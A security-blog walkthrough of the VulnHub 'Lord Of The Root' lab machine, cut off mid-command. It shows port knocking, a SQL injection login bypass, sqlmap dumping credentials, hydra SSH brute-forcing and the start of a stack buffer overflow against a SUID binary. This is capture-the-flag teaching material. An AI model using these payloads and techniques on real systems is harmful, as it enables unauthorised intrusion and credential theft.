seekorswim My Security Blog

Lord Of The Root: 1.0.1

VulnHub URL: https://www.vulnhub.com/entry/lord-of-the-root-101,129/
Hostname: LordOfTheRoot
IP Address: 10.183.0.214


Information Gathering/Recon


The IP address is obtained via DHCP at boot. In my case, the IP is 10.183.0.214.


Service Enumeration/Scanning


root@kali:~/Walkthroughs/lordoftheroot# nmap -Pn -sT -sV -sC -A -oA lordoftheroot -p 1-65535 10.183.0.214
Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-08 13:48 EDT
Nmap scan report for LordOfTheRoot.homenet.dom (10.183.0.214)
Host is up (0.0016s latency).
Not shown: 65534 filtered ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 3c:3d:e3:8e:35:f9:da:74:20:ef:aa:49:4a:1d:ed:dd (DSA)
|   2048 85:94:6c:87:c9:a8:35:0f:2c:db:bb:c1:3f:2a:50:c1 (RSA)
|   256 f3:cd:aa:1d:05:f2:1e:8c:61:87:25:b6:f4:34:45:37 (ECDSA)
|_  256 34:ec:16:dd:a7:cf:2a:86:45:ec:65:ea:05:43:89:21 (ED25519)
MAC Address: 08:00:27:64:93:94 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.10 - 4.11, Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   1.61 ms LordOfTheRoot.homenet.dom (10.183.0.214)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 110.62 seconds


Gaining Access


Well, nmap sure didn't find much open. The only service available is a SSH service on TCP port 22. However, when we connect to the service, we get a helpful "hint"...

root@kali:~/Walkthroughs/lordoftheroot# ssh root@10.183.0.214
The authenticity of host '10.183.0.214 (10.183.0.214)' can't be established.
ECDSA key fingerprint is SHA256:XzDLUMxo8ifHi4SciYJYj702X3PfFwaXyKOS07b6xd8.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '10.183.0.214' (ECDSA) to the list of known hosts.


                                                  .____    _____________________________
                                                  |    |   \_____  \__    ___/\______   \
                                                  |    |    /   |   \|    |    |       _/
                                                  |    |___/    |    \    |    |    |   \
                                                  |_______ \_______  /____|    |____|_  /
                                                          \/       \/                 \/
____  __.                     __     ___________      .__                   .___ ___________      ___________       __
|    |/ _| ____   ____   ____ |  | __ \_   _____/______|__| ____   ____    __| _/ \__    ___/___   \_   _____/ _____/  |_  ___________
|      <  /    \ /  _ \_/ ___\|  |/ /  |    __) \_  __ \  |/ __ \ /    \  / __ |    |    | /  _ \   |    __)_ /    \   __\/ __ \_  __ \
|    |  \|   |  (  <_> )  \___|    <   |     \   |  | \/  \  ___/|   |  \/ /_/ |    |    |(  <_> )  |        \   |  \  | \  ___/|  | \/
|____|__ \___|  /\____/ \___  >__|_ \  \___  /   |__|  |__|\___  >___|  /\____ |    |____| \____/  /_______  /___|  /__|  \___  >__|
        \/    \/            \/     \/      \/                  \/     \/      \/                           \/     \/          \/
Easy as 1,2,3
root@10.183.0.214's password:

Clever. I'll use the knockd client 'knock' to knock on TCP ports 1, 2 and 3 and rescan.

root@kali:~/Walkthroughs/lordoftheroot# knock 10.183.0.214 1 2 3
root@kali:~/Walkthroughs/lordoftheroot# nmap -Pn -sT -sV -sC -A -oA lordoftheroot-post -p 1-65535 10.183.0.214
Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-08 14:26 EDT
Nmap scan report for LordOfTheRoot.homenet.dom (10.183.0.214)
Host is up (0.0013s latency).
Not shown: 65533 filtered ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 3c:3d:e3:8e:35:f9:da:74:20:ef:aa:49:4a:1d:ed:dd (DSA)
|   2048 85:94:6c:87:c9:a8:35:0f:2c:db:bb:c1:3f:2a:50:c1 (RSA)
|   256 f3:cd:aa:1d:05:f2:1e:8c:61:87:25:b6:f4:34:45:37 (ECDSA)
|_  256 34:ec:16:dd:a7:cf:2a:86:45:ec:65:ea:05:43:89:21 (ED25519)
1337/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
MAC Address: 08:00:27:64:93:94 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.10 - 4.11, Linux 3.16 - 4.6, Linux 3.2 - 4.9, Linux 4.4
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   1.29 ms LordOfTheRoot.homenet.dom (10.183.0.214)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 118.99 seconds

Retrieving the default page using curl, we only have a single image displayed.

root@kali:~/Walkthroughs/lordoftheroot# curl http://10.183.0.214:1337
<html>
<img src="/images/iwilldoit.jpg" align="middle">
</html>

Downloading the image and checking for embedded info doesn't result in anything. Next, I try to pull down robots.txt.

root@kali:~/Walkthroughs/lordoftheroot# curl http://10.183.0.214:1337/robots.txt
<html>
<img src="/images/hipster.jpg" align="middle">
<!--THprM09ETTBOVEl4TUM5cGJtUmxlQzV3YUhBPSBDbG9zZXIh>
</html>

Interesting. The "comment" has an encoded string. Let's try to base64 decode it.

root@kali:~/Walkthroughs/lordoftheroot# echo 'THprM09ETTBOVEl4TUM5cGJtUmxlQzV3YUhBPSBDbG9zZXIh' | base64 -d
Lzk3ODM0NTIxMC9pbmRleC5waHA= Closer!
root@kali:~/Walkthroughs/lordoftheroot# echo 'Lzk3ODM0NTIxMC9pbmRleC5waHA=' | base64 -d
/978345210/index.php

OK. We decoded the first string which gave us a second string to decode. The second string gives us a URL to try.

root@kali:~/Walkthroughs/lordoftheroot# curl http://10.183.0.214:1337/978345210/index.php
<!DOCTYPE html>
<html>
<head>
<title>LOTR Login!</title>
</head>
<body>
<div id="main">
<h1>Welcome to the Gates of Mordor</h1>
<div id="login">
<form action="" method="post">
<label>User :</label>
<input id="name" name="username" placeholder="username" type="text">
<label>Password :</label>
<input id="password" name="password" placeholder="**********" type="password">
<input name="submit" type="submit" value=" Login ">
<span></span>
</form>
</div>
</div>
</body>
</html>



Since we have virtually no information about the host at this point, we'll start trying to SQL injection on the username/password fields...

We are able to login successfully by sending the following string in the username field (with 'test' in the password field).

test' UNION ALL SELECT NULL,NULL#

We are redirected to http://10.183.0.214:1337/978345210/profile.php. The page contains a Legolas meme, but not much else.

So, we know the login page is vulnerable to SQL injection, but how do we get something useful out of the SQL server or execute system commands?

We'll turn to sqlmap to try to figure out the best possible way.

root@kali:~/Walkthroughs/lordoftheroot# sqlmap --har=sqlmap.log --data="username=test&password=test&submit=+Login+" --url="http://10.183.0.214:1337/97
8345210/index.php" --banner --level=5 --risk=3 -v3 --dbms=mysql
        ___
       __H__
___ ___["]_____ ___ ___  {1.3.4#stable}
|_ -| . [(]     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all a
pplicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 16:48:10 /2019-05-08/

[...]

POST parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection point(s) with a total of 2273 HTTP(s) requests:
---
Parameter: username (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: username=test'||(SELECT 0x4f4d4761 FROM DUAL WHERE 6814=6814 AND SLEEP(5))||'&password=test&submit= Login
    Vector: AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])
---

[...]

[17:42:13] [INFO] retrieved: 5.5.44-0ubuntu0.14.04.1
[17:42:13] [DEBUG] performed 192 queries in 578.26 seconds
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.7, PHP 5.5.9
back-end DBMS operating system: Linux Ubuntu
back-end DBMS: MySQL >= 5.0.12
banner: '5.5.44-0ubuntu0.14.04.1'
[17:42:13] [INFO] fetched data logged to text files under '/root/.sqlmap/output/10.183.0.214'

[*] ending @ 17:42:13 /2019-05-08/

Oh, boy! A 'time-based' issue. These are incredibly difficult to handle by hand (stepping through character by character!), so we'll use sqlmap to mine out information from the server.

First, let's see what databases are available.

root@kali:~/Walkthroughs/lordoftheroot# sqlmap --har=sqlmap.log --data="username=test&password=test&submit=+Login+" --url="http://10.183.0.214:1337/97
8345210/index.php" -v3 --dbms=mysql --time-sec=1 --dbs
[...]
[18:00:19] [DEBUG] performed 133 queries in 276.20 seconds
available databases [4]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] Webapp

As you can see, we only have one database to target (Webapp). Time to enumerate tables and columns.

root@kali:~/Walkthroughs/lordoftheroot# sqlmap --har=sqlmap.log --data="username=test&password=test&submit=+Login+" --url="http://10.183.0.214:1337/97
8345210/index.php" -v3 --dbms=mysql --time-sec=1 -D Webapp --tables
[...]
Database: Webapp
[1 table]
+-------+
| Users |
+-------+

root@kali:~/Walkthroughs/lordoftheroot# sqlmap --har=sqlmap.log --data="username=test&password=test&submit=+Login+" --url="http://10.183.0.214:1337/97
8345210/index.php" -v3 --dbms=mysql --time-sec=1 -D Webapp -T Users --columns
[...]
Database: Webapp
Table: Users
[3 columns]
+----------+--------------+
| Column   | Type         |
+----------+--------------+
| id       | int(10)      |
| password | varchar(255) |
| username | varchar(255) |
+----------+--------------+

root@kali:~/Walkthroughs/lordoftheroot# sqlmap --har=sqlmap.log --data="username=test&password=test&submit=+Login+" --url="http://10.183.0.214:1337/978345210/index.php" -v3 --dbms=mysql --time-sec=1 -D Webapp -T Users -C id,username,password --dump
[...]
Database: Webapp
Table: Users
[5 entries]
+----+----------+------------------+
| id | username | password         |
+----+----------+------------------+
| 1  | frodo    | iwilltakethering |
| 2  | smeagol  | MyPreciousR00t   |
| 3  | aragorn  | AndMySword       |
| 4  | legolas  | AndMyBow         |
| 5  | gimli    | AndMyAxe         |
+----+----------+------------------+

Well, it took a while, but we have a list of users and unencrypted passwords. Let's start logging in to the web app with each to see what happens... nothing! We get the same profile.php page for each user. Time to try these usernames and passwords on the SSH service.

root@kali:~/Walkthroughs/lordoftheroot# hydra -o ssh-crack -t 4 -L users -e nsr -P passwords ssh://10.183.0.214
Hydra v8.8 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2019-05-08 19:10:21
[DATA] max 4 tasks per 1 server, overall 4 tasks, 40 login tries (l:5/p:8), ~10 tries per task
[DATA] attacking ssh://10.183.0.214:22/
[22][ssh] host: 10.183.0.214   login: smeagol   password: MyPreciousR00t
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2019-05-08 19:10:38

Great! We found a login. Now we can SSH to the victim with the smeagol account and start working toward privilege escalation.

root@kali:~/Walkthroughs/lordoftheroot# ssh smeagol@10.183.0.214


Maintaining Access


We have SSH access with a user's password, so we won't go through the steps of maintaining a reverse shell. In a "live" scenario we still would (in case the user changed their password or the SSH service started blocking us/was disabled).


Privilege Escalation


Checking the os and kernel information...

smeagol@LordOfTheRoot:~$ uname -a
Linux LordOfTheRoot 3.19.0-25-generic #26~14.04.1-Ubuntu SMP Fri Jul 24 21:18:00 UTC 2015 i686 i686 i686 GNU/Linux
smeagol@LordOfTheRoot:~$ cat /etc/os-release
NAME="Ubuntu"
VERSION="14.04.3 LTS, Trusty Tahr"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 14.04.3 LTS"
VERSION_ID="14.04"
HOME_URL="http://www.ubuntu.com/"
SUPPORT_URL="http://help.ubuntu.com/"
BUG_REPORT_URL="http://bugs.launchpad.net/ubuntu/"

We have a well known and often used exploit available for the running os and kernel.

Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Privilege Escalation         | exploits/linux/local/37292.c

I copied it to my working directory and then transferred it to the victim using python's SimpleHTTPServer, compiled it and ran it. Unfortunately, it didn't work. That would have been too easy. 😄

Searching the drive for files with SUID root, we find some interesting files in /SECRET.

smeagol@LordOfTheRoot:/SECRET$ ls -laF *
door1:
-rwsr-xr-x 1 root root 5150 Sep 17  2015 file*

door2:
-rwsr-xr-x 1 root root 7370 Sep 17  2015 file*

door3:
-rwsr-xr-x 1 root root 7370 Sep 22  2015 file*

Running ltrace on each of the binaries (passing the string "test"), only the program behind door1 performs an interesting operation (strcpy) with our input.

smeagol@LordOfTheRoot:/SECRET/door1$ ltrace -CS -n 4 ./file test
SYS_brk(0xb772cf39)                                                                         = 0x82de000
SYS_fcntl64(0x20001, 0xb772eeb6, 0, 1)                                                      = 0
SYS_fcntl64(0x20000, 0xb772eeb6, 1, 1)                                                      = 0
SYS_fcntl64(0x20000, 0xb772eeb6, 2, 1)                                                      = 0
SYS_access("/etc/suid-debug", 00)                                                           = -2
SYS_access("/etc/ld.so.nohwcap", 00)                                                        = -2
SYS_mmap2(6200, 0xb7739000, 0xbfff6c38, 0xb772d632)                                         = 0xb7712000
SYS_access("/etc/ld.so.preload", 04)                                                        = -2
SYS_open("\205\300\211\306xA\215D$ \211D$\b\211t$\004\307\004$\003", -1217190516, 02000000) = 3
SYS_fstat64(0xb7727ae7, 3, 3, 0xbfff66f0)                                                   = 0
SYS_mmap2(3, 0xb7739000, 1, 0xb7727b50)                                                     = 0xb76fe000
SYS_close(3)                                                                                = 0
SYS_access("/etc/ld.so.nohwcap", 00)                                                        = -2
SYS_open("\203\370\377\211E\330\017\204\020\002", -1217334480, 02000000)                    = 3
SYS_read(-1217277307, "\003\004\005\006\a\b\t\n\v\f\r\016\017\020\021\022\023\024\025\026\027\030\031\032\033\034\035\036\037 !""..., 3221186624) = 512
SYS_fstat64(0xb771dddc, 3, 3, 0xbfff6760)                                                   = 0
SYS_mmap2(0xbfff661c, 0xb7739000, 0xbfff67d8, 0xb771e29e)                                   = 0xb7550000
SYS_mmap2(0xbfff661c, 0xb7739000, 0xbfff67d8, 0xb771e41a)                                   = 0xb76f8000
SYS_mmap2(-4096, 0xb7739000, 0xbfff67d8, 0xb771e863)                                        = 0xb76fb000
SYS_close(3)                                                                                = 0
SYS_mmap2(520, 0xb7739000, 0xbfff6d08, 0xb772d632)                                          = 0xb754f000
SYS_set_thread_area(1, 0, 0xbfff6ce0, -1)                                                   = 0
SYS_mprotect(0xb7722bcb, -1217429504, 8192)                                                 = 0
SYS_mprotect(0xb7722bcb, -1217167360, 4096)                                                 = 0
SYS_munmap(0xb76fe000, 78589)                                                               = 0
__libc_start_main(0x804845d, 2, 0xbfff6df4, 0x80484b0 <unfinished ...>
    strcpy(0xbfff6cb1, "test")                                                              = 0xbfff6cb1
    SYS_exit_group(0 <no return ...>
+++ exited (status 0) +++

Let's see if we can send a bunch of 'A's to the program and get it to crash.

smeagol@LordOfTheRoot:/SECRET/door1$ ltrace -CS -n 4 ./file `python -c 'print "A"*200'`
SYS_brk(0xb7743f39)                                                                         = 0x924c000
SYS_fcntl64(0x20001, 0xb7745eb6, 0, 1)                                                      = 0
SYS_fcntl64(0x20000, 0xb7745eb6, 1, 1)                                                      = 0
SYS_fcntl64(0x20000, 0xb7745eb6, 2, 1)                                                      = 0
SYS_access("/etc/suid-debug", 00)                                                           = -2
SYS_access("/etc/ld.so.nohwcap", 00)                                                        = -2
SYS_mmap2(6200, 0xb7750000, 0xbfe4fbc8, 0xb7744632)                                         = 0xb7729000
SYS_access("/etc/ld.so.preload", 04)                                                        = -2
SYS_open("\205\300\211\306xA\215D$ \211D$\b\211t$\004\307\004$\003", -1217096308, 02000000) = 3
SYS_fstat64(0xb773eae7, 3, 3, 0xbfe4f680)                                                   = 0
SYS_mmap2(3, 0xb7750000, 1, 0xb773eb50)                                                     = 0xb7715000
SYS_close(3)                                                                                = 0
SYS_access("/etc/ld.so.nohwcap", 00)                                                        = -2
SYS_open("\203\370\377\211E\330\017\204\020\002", -1217240272, 02000000)                    = 3
SYS_read(-1217183099, "\003\004\005\006\a\b\t\n\v\f\r\016\017\020\021\022\023\024\025\026\027\030\031\032\033\034\035\036\037 !""..., 3219453904) = 512
SYS_fstat64(0xb7734ddc, 3, 3, 0xbfe4f6f0)                                                   = 0
SYS_mmap2(0xbfe4f5ac, 0xb7750000, 0xbfe4f768, 0xb773529e)                                   = 0xb7567000
SYS_mmap2(0xbfe4f5ac, 0xb7750000, 0xbfe4f768, 0xb773541a)                                   = 0xb770f000
SYS_mmap2(-4096, 0xb7750000, 0xbfe4f768, 0xb7735863)                                        = 0xb7712000
SYS_close(3)                                                                                = 0
SYS_mmap2(520, 0xb7750000, 0xbfe4fc98, 0xb7744632)                                          = 0xb7566000
SYS_set_thread_area(1, 0, 0xbfe4fc70, -1)                                                   = 0
SYS_mprotect(0xb7739bcb, -1217335296, 8192)                                                 = 0
SYS_mprotect(0xb7739bcb, -1217073152, 4096)                                                 = 0
SYS_munmap(0xb7715000, 78589)                                                               = 0
__libc_start_main(0x804845d, 2, 0xbfe4fd84, 0x80484b0 <unfinished ...>
    strcpy(0xbfe4fc41, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"...)                               = 0xbfe4fc41
--- SIGSEGV (Segmentation fault) ---
+++ killed by SIGSEGV +++

Sending 200 'A's, we are able to get the application to crash. Time to start building a buffer overflow exploit.

NOTE: I tried to start debugging the program on the victim using gdb, but I couldn't get it to crash any more. I suspected the system swapped the vulnerable program to a different "door", so I went back and started ltracing each binary and found that the 'strcpy' one was now behind door3. 🙂 To prevent further swaps while I was debugging, I copied the vulnerable binary to my attacking machine (via netcat). Once I have an exploit, I'll have to find the currently vulnerable binary and run it against it.
NOTE: You can verify which binary has the vulnerability by checking the file size. The one with a size of 5150 bytes is the vulnerable one. The others will be 7370 bytes.

We are going to debug the program using gdb (with the pwndbg plugin) on our attacking machine.

Running and crashing the program in gdb, we see the following.

root@kali:~/Walkthroughs/lordoftheroot# gdb -q door
pwndbg: loaded 174 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from door...(no debugging symbols found)...done.
pwndbg> run `python -c 'print "A"*200'`
Starting program: /root/Walkthroughs/lordoftheroot/door `python -c 'print "A"*200'`

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────────────────────────
EAX  0x0
EBX  0x0
ECX  0xffffd240 ◂— 0x414141 /* 'AAA' */
EDX  0xffffcf86 ◂— 0x414141 /* 'AAA' */
EDI  0xf7fa0000 (_GLOBAL_OFFSET_TABLE_) ◂— insb   byte ptr es:[edi], dx /* 0x1d9d6c */
ESI  0xf7fa0000 (_GLOBAL_OFFSET_TABLE_) ◂— insb   byte ptr es:[edi], dx /* 0x1d9d6c */
EBP  0x41414141 ('AAAA')
ESP  0xffffcf70 ◂— 'AAAAAAAAAAAAAAAAAAAAAAAAA'
EIP  0x41414141 ('AAAA')
──────────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────────
Invalid address 0x41414141


──────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────
00:0000│ esp    0xffffcf70 ◂— 'AAAAAAAAAAAAAAAAAAAAAAAAA'
... ↓
06:0018│        0xffffcf88 —▸ 0xf7fa0041 (__libc_multiple_libcs+1) ◂— add    byte ptr [eax], al /* 0x7f000000 */
07:001c│        0xffffcf8c ◂— 0xffffffff
────────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────────
►  f 0 41414141
   f 1 41414141
   f 2 41414141
   f 3 41414141
   f 4 41414141
   f 5 41414141
   f 6 41414141
   f 7 f7fa0041 __libc_multiple_libcs+1
   f 8 ffffffff
Program received signal SIGSEGV (fault address 0x41414141)

We were able to overwrite eip with our 'A's, which is a great first step. Now we need to see how many bytes it takes to overwrite eip. We know it is somewhere between 150 and 200 bytes. To do this, we'll generate a unique string using pattern_create.rb...

root@kali:~/Walkthroughs/lordoftheroot# /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 220
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2A

...and pass it as the parameter.

pwndbg> run Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5
Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2A
Starting program: /root/Walkthroughs/lordoftheroot/door Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0A
d1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2A

Program received signal SIGSEGV, Segmentation fault.
0x41376641 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────────────────────────
EAX  0x0
EBX  0x0
ECX  0xffffd240 ◂— 0x413268 /* 'h2A' */
EDX  0xffffcf8a ◂— 0x413268 /* 'h2A' */
EDI  0xf7fa0000 (_GLOBAL_OFFSET_TABLE_) ◂— insb   byte ptr es:[edi], dx /* 0x1d9d6c */
ESI  0xf7fa0000 (_GLOBAL_OFFSET_TABLE_) ◂— insb   byte ptr es:[edi], dx /* 0x1d9d6c */
EBP  0x36664135 ('5Af6')
ESP  0xffffcf60 ◂— 'f8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2A'
EIP  0x41376641 ('Af7A')
──────────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────────
Invalid address 0x41376641


──────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────
00:0000│ esp  0xffffcf60 ◂— 'f8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2A'
01:0004│      0xffffcf64 ◂— '9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2A'
02:0008│      0xffffcf68 ◂— 'Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2A'
03:000c│      0xffffcf6c ◂— 'g2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2A'
04:0010│      0xffffcf70 ◂— '3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2A'
05:0014│      0xffffcf74 ◂— 'Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2A'
06:0018│      0xffffcf78 ◂— 'g6Ag7Ag8Ag9Ah0Ah1Ah2A'
07:001c│      0xffffcf7c ◂— '7Ag8Ag9Ah0Ah1Ah2A'
────────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────────
►  f 0 41376641
   f 1 66413866
   f 2 30674139
   f 3 41316741
   f 4 67413267
   f 5 34674133
   f 6 41356741
   f 7 67413667
   f 8 38674137
   f 9 41396741
   f 10 68413068
Program received signal SIGSEGV (fault address 0x41376641)

Looks like our eip was overwritten with the pattern 'Af7a' (0x41376641). We can run pattern_offset.rb to see where exactly that string was in our pattern.

root@kali:~/Walkthroughs/lordoftheroot# /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 41376641
[*] Exact match at offset 171

Great! Now we can verify this by sending 171 'A's, 4 'B's and 200 'C's. The 'B's should end up squarely in our eip. We are sending the 'C's just to see how much space we might have to put our exploit in esp (depending on what calls/jmps are available... we'll see later).

pwndbg> run `python -c 'print "A"*171 + "B"*4 + "C"*200'`                                                                                             
Starting program: /root/Walkthroughs/lordoftheroot/door `python -c 'print "A"*171 + "B"*4 + "C"*200'`

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────────────────────────
EAX  0x0
EBX  0x0
ECX  0xffffd240 ◂— 0x434343 /* 'CCC' */
EDX  0xffffcf85 ◂— 0x434343 /* 'CCC' */
EDI  0xf7fa0000 (_GLOBAL_OFFSET_TABLE_) ◂— insb   byte ptr es:[edi], dx /* 0x1d9d6c */
ESI  0xf7fa0000 (_GLOBAL_OFFSET_TABLE_) ◂— insb   byte ptr es:[edi], dx /* 0x1d9d6c */
EBP  0x41414141 ('AAAA')
ESP  0xffffcec0 ◂— 0x43434343 ('CCCC')
EIP  0x42424242 ('BBBB')
──────────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────────
Invalid address 0x42424242


──────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────
00:0000│ esp  0xffffcec0 ◂— 0x43434343 ('CCCC')
... ↓
────────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────────
►  f 0 42424242
   f 1 43434343
   f 2 43434343
   f 3 43434343
   f 4 43434343
   f 5 43434343
   f 6 43434343
   f 7 43434343
   f 8 43434343
   f 9 43434343
   f 10 43434343
Program received signal SIGSEGV (fault address 0x42424242)

Perfect. We see our 4 'B's are perfectly placed in eip, and we see all 200 of our 'C's have started to fill the stack.

pwndbg> x/100x 0xffffce00
0xffffce00:     0xffffce11      0xffffd0cc      0x080481fc      0xffffce7c
0xffffce10:     0x414141b0      0x41414141      0x41414141      0x41414141
0xffffce20:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffce30:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffce40:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffce50:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffce60:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffce70:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffce80:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffce90:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffcea0:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffceb0:     0x41414141      0x41414141      0x41414141      0x42424242
0xffffcec0:     0x43434343      0x43434343      0x43434343      0x43434343
0xffffced0:     0x43434343      0x43434343      0x43434343      0x43434343
0xffffcee0:     0x43434343      0x43434343      0x43434343      0x43434343
0xffffcef0:     0x43434343      0x43434343      0x43434343      0x43434343
0xffffcf00:     0x43434343      0x43434343      0x43434343      0x43434343
0xffffcf10:     0x43434343      0x43434343      0x43434343      0x43434343
0xffffcf20:     0x43434343      0x43434343      0x43434343      0x43434343
0xffffcf30:     0x43434343      0x43434343      0x43434343      0x43434343
0xffffcf40:     0x43434343      0x43434343      0x43434343      0x43434343
0xffffcf50:     0x43434343      0x43434343      0x43434343      0x43434343
0xffffcf60:     0x43434343      0x43434343      0x43434343      0x43434343
0xffffcf70:     0x43434343      0x43434343      0x43434343      0x43434343
0xffffcf80:     0x43434343      0x43434343      0xffffd800      0xffffd83a

Unfortunately, we also notice that eax does NOT contain our 'A's. Since we wont' be able to control eax, we'll have to hope there is a jmp/call to esp. Fingers crossed.

Before generating our exploit code, we need to check for bad characters. We'll do this by passing in a string of hex characters (\x01-\xff) and seeing which ones don't make it. We aren't even going to send \x00 (the null character) because we know this won't work.

We'll send our string of potentially bad characters in place of the 'C's from before.

pwndbg> run `python -c 'print "A"*171 + "B"*4 + "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\
